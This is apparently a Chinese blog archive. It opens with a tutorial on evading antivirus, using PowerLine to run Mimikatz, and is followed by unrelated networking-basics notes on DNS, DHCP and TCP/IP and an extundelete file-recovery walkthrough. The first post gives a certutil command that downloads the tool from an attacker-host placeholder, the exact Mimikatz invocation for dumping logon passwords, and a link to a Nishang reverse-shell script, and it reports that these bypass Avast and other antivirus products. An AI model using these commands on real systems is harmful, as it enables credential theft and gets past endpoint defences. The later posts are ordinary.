knickers 发布的文章

Powershell AV Evasion. Running Mimikatz with PowerLine

PowerShell默认存在于所有Windows 7+上,并且正在成为在Windows中执行所需脚本的最常用方法。因此产品开始阻止或警告PowerShell的使用。
网络上也有很多关于ps的混淆脚本和混淆技巧,对于国内的一些杀毒其实已经够了,但是如果遇到了比如eset/avast等杀毒就会被拦截了。
经过测试,检查防病毒是否检测到此行为,因此在执行阶段就已经失效。
图片1.png

Powerline是由Brian Fehrman(@fullmetalcache)创建的一个很棒的工具,允许调用PowerShell脚本。它是用C#编写的(不直接调用PowerShell),可以完全从命令行使用。

构建和使用:
部署构建很简单
1、从github下载代码https://github.com/fullmetalcache/PowerLine
2、运行build.bat
3、更新UserConf.xml文档以包含您要包含的ps脚本的URL
4、运行plbuilder.exe,powerline.exe生成成功
使用:
当你构件好powerline后接下来就是把powerline.exe放到目标机器上。可以通过shell上传或者远程下载功能。

certutil -urlcache -split -f http://atackerIP/PowerLine.exe PowerLine.exe

上传后执行(默认的userconf.xml中带的是invoke-mimikatz):

PowerLine.exe Invoke-Mimikatz "Invoke-Mimikatz -Command \"`\"privilege::debug`\" `\"sekurlsa::logonPasswords`\"\""

Avast(图片来自引用博客):
图片2.png
国内杀毒(图片来自本地测试):
图片3.png
可以看到已经达到了绕过的需求。
可以通过修改默认导入的ps脚本来满足不同环境下的需求。

https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

引用:

    https://github.com/fullmetalcache/PowerLine/blob/master/README.md
 https://jlajara.gitlab.io/posts/2019/01/27/Mimikatz-AV-Evasion.html

DNS:

DNS出现的原因:IP地址不便记忆。
TCP/IP网络中每一个互联的计算机都具有其唯一的IP地址。
当用户输入主机名(域名)DNS服务器会自动检索那个主机名和IP地址的数据库。并将IP地址返回给查找的客户机。
域名的组成:

QQ20190331-160810@2x.png

常见域名后缀:
edu 教育机构
gov 政府机构
ac 科研机构
org 非营利机构
cn 中国
jp 日本
hk 香港

DNS的解析结构像一棵倒着的树:
QQ20190331-160823@2x.png

DNS查询流程:
QQ20190331-160828@2x.png

DHCP(DHCP动态主机配置协议),一个简化主机IP地址肥培管理的TCP/IP协议。
由于DHCP服务器的存在,是配置IP地址变成了即插即用的自动分配形式。

以前配置IP需要手动配置,从网络管理员出获得信息,来进行配置。

            IP地址:
          子网掩码:
          默认路由:
        DNS服务器:

有了DHCP服务器自动设置ip,减轻了网络管理员的负担。
QQ20190331-160223@2x.png

DHCP的工作原理:
QQ20190331-160228@2x.png
请求设置IP和子网掩码
通知可以使用的网络设置
QQ20190331-160233@2x.png

通知想要使用在2中的配置
允许使用3中的设置。
DHCP租用地址都有一个时间限制
PC在时限之前可以发送DHCP请求包延长这个时限。

DHCP基本属于:
作用域:作用于适用于网络的ip地址范围
排除范围:排除范围是作用于内从DHCP中排出的有限IP地址序列,确保这些范围中的任何地址都不是有网络上的服务器给客户端的。
地址池:作用于-派出范围
租约:是C端,可使用的ip地址期间dhcp指定的时间长度。
租期:指C从S获取TCP/IP的使用时间。

最近在做新生的网络基础培训,就当巩固下自己的基础,顺便确定下以前的定义。

先介绍下tcp/ip的基础。
TCP/IP出现的背景:

利用大学和研究机构组成的网络进行实验,1983年ARPANET启用TPC/IP为通信协议。

具体含义:
两种协议,分别指tcp协议和ip协议,tcp协议用来维持连接状态,ip协议用来标识目标。
更多的是指tcp/ip的协议群:
应用协议:http,smtpmftp,telnet
传输协议:tcp,udp
网际协议:IP,ICMP,ARP
路由控制协议:RIP,OSPF
互联网的定义:

(Internet):网际网,将两个以太网网段用路由器连接是互联网,将企业内部各部门的网络和其他企业的网络互联形成世界规模的网络也可称作互联网。

QQ20190331-155555@2x.png

灵魂画图…….
QQ20190331-155626@2x.png
ISP (Internet Service Provider)互联网服务供应商
IX (Internet Wxchange)网络交换中心
NOC (Network Operation Center)网络操作中心
QQ20190331-155652@2x.png
四、网络接口层

利用网络中的数据与数据链路进行通信,可以把它的作用理解为“驱动程序”    。用于系统可识别与硬件之间的“转换器”。

网络层:
如IP协议是基于IP地址转发分包数据。
(互联网就是具备互联网层功能的网络)
QQ20190331-155658@2x.png
连接互联网的所有主机和路由器必须实现IP的功能,其他连接互联网的网络设备(网桥,hub)比一定有IP和TCP功能
IP:IP协议使用ip地址区别主机标识。
ICMP:通常被用来诊断网络的健康状况
ARP:从数据包中的IP地址中介析出物理地址(MAC地址)
传输层:
TCP/IP中的传输层和OSI中的传输层类似。
QQ20190331-155703@2x.png
tcp
tcp是一种面向有相连接的传输层协议,他可以保证主机之间(可达),而且能够处理丢包、传输顺序乱等异常情况。

    为了建立与断开连接,有事他需要至少七次的发包与收包。

UDP:(eg:视频通讯)
UDP是物相连接,udp不会关注对方是否真的收到了数据,常用语广播通信及视频通信多媒体领域。

应用层
QQ20190331-155708@2x.png
提供服务的叫做服务端,接受服务的叫做客户端。提供服务的提前部署到服务器主机上,等待客户端发送的请求。

具体应用层协议及安全问题会在以后详细介绍。

TCP/IP分层模型与通信实例:
发送数据包:(以Email为例)
应用程序:
写入内容发送邮件。
编码处理(base64)-----osi表示层
监理通信连接------osi中会话层
将数据发送给下一层
TCP处理:
根据上层支出目标,建立连接,发送数据和断开连接,加上TCP包首,双方端口号,和用以识别应用,以及数据包序号。
IP处理:
IP首重包含接收端的ip地址以及发送端的ip地址
如果上不知道接收端的mac地址,则利用ARP协议查找,只要知道了对方的mac地址,就可以将mac地址和ip地址交给下一层实现传输。
网络接口:
从网络层传过来的包,到驱动来说就是数据,给这数据加上以太网首部,并发送,
以太网保守重包含接收端的mac地址,发送端mac地址,以及标记了以太网类型的以太网数据的协议。
FCS(Frame Check Squence)机制,用来判断数据宝是否由于其他(噪声)而破坏。
捷豹过程相反,自底向上。

下图是数据包在各个层面上的包首图:
QQ20190331-155713@2x.png

有很多时候运维人员会选择直接rm -rf 某文件或者目录。这是一个很不好的习惯,推荐时mv到/tmp目录下,并写一个脚本定期清理/tmp下的内容,在使用过程中如果发生了误删除的情况,可以使用extundelete恢复数据。
在Linux下,通过命令rm -rf可以将数据直接从硬盘删除,并且没有任何提示,Linux也并没有回收站功能,也就是说如果数据被删除后通过常规手段是无法恢复的。
extundelete的恢复原理是根据文件系统的inode信息,来获取单个西安文件系统下所有文件的信息,包括存在的和已经被删除侧文件,这些信息包括文件名和inde。然后利用inode信息结合日志去查询该inode所在的block,最后利用dd命令将这些信息备份出来,从而恢复数据文件。
这里我演示使用的是ubuntu大致过程:

删除数据
卸载磁盘分区
查询可恢复的数据
恢复文件
在数据被误删除后第一时间要做的就是卸载删除数据所在的磁盘或者磁盘分区,如果是系统根分区的数据遭到误删除,就需要将根分区以只读形式挂载。原因是,将文件删除后,只是将文件的inode节点中的扇区指针清零了,市级文件还储存在磁盘上,如果磁盘以读写模式挂载,这些数据块就可能被操作系统分配出去了,以只读模式挂载硬盘,可以防止数据被覆盖的风险,提高恢复成功的几率。

[bash]
root@2a6f1781eb94:~# apt-get install extundelete
root@2a6f1781eb94:~# vi 123.txt
[/bash]

QQ20190331-154855@2x.png
QQ20190331-154904@2x.png

[bash]
root@knickers:/root# df -hT
Filesystem     Type      Size  Used Avail Use% Mounted on
/dev/sda1      ext4       19G  4.0G   14G  23% /
none           tmpfs     4.0K     0  4.0K   0% /sys/fs/cgroup
udev           devtmpfs  487M  4.0K  487M   1% /dev
tmpfs          tmpfs     100M  960K   99M   1% /run
none           tmpfs     5.0M     0  5.0M   0% /run/lock
none           tmpfs     497M  152K  497M   1% /run/shm
none           tmpfs     100M   48K  100M   1% /run/user
[/bash]

QQ20190331-154912@2x.png
QQ20190331-154920@2x.png
删除后:

开始恢复:

[bash]
root@knickers:~# extundelete /dev/sda1 --restore-file /root/123.txt
[/bash]

QQ20190331-154934@2x.png
这时候会在当前目录下新建一个文件夹/RECOVERED_FILES
其中文件恢复会按照原路径恢复。

QQ20190331-154940@2x.png
QQ20190331-154947@2x.png
这里可以看到。已经恢复成功了 md5值也没有改变,证明恢复的信息是完整的。
网上有很多关于这个软件的使用说明,这里只是重现一下,留个记录。